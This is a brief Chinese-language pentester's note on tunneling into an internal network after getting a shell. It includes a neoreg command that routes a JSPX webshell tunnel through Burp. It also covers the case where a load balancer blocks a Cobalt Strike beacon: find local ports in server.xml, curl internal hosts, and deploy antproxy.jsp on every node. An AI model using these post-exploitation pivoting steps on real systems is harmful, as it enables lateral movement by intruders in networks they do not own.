代理
可以做代理的情况下,neoreg工具具有内网转发的情况下

| kali踩坑 https挂burp
python3 neoreg.py -k password -u https://xxx/111tun.jspx -r https://xxx/111tun.jspx --proxy http://127.0.0.1:8080

做不了代理的情况—>
先决条件
getshell之后遇到负载均衡不能直接上cs的情况
- getshell之后server.xml找到本地开放端口
- 负载均衡机器内网互通curl -k -i http://192.168.11.2:22222
- 确保antproxy.jsp所有机器都存在该文件
实现
忽略ssl证书参考http://alifrp.yllcc.com:8443/article/9

遇到一个坑就是真实环境下需要设置<%@ page trimDirectiveWhitespaces=”true” %>
缺点：文件上传功能是用不，会分片上传到node
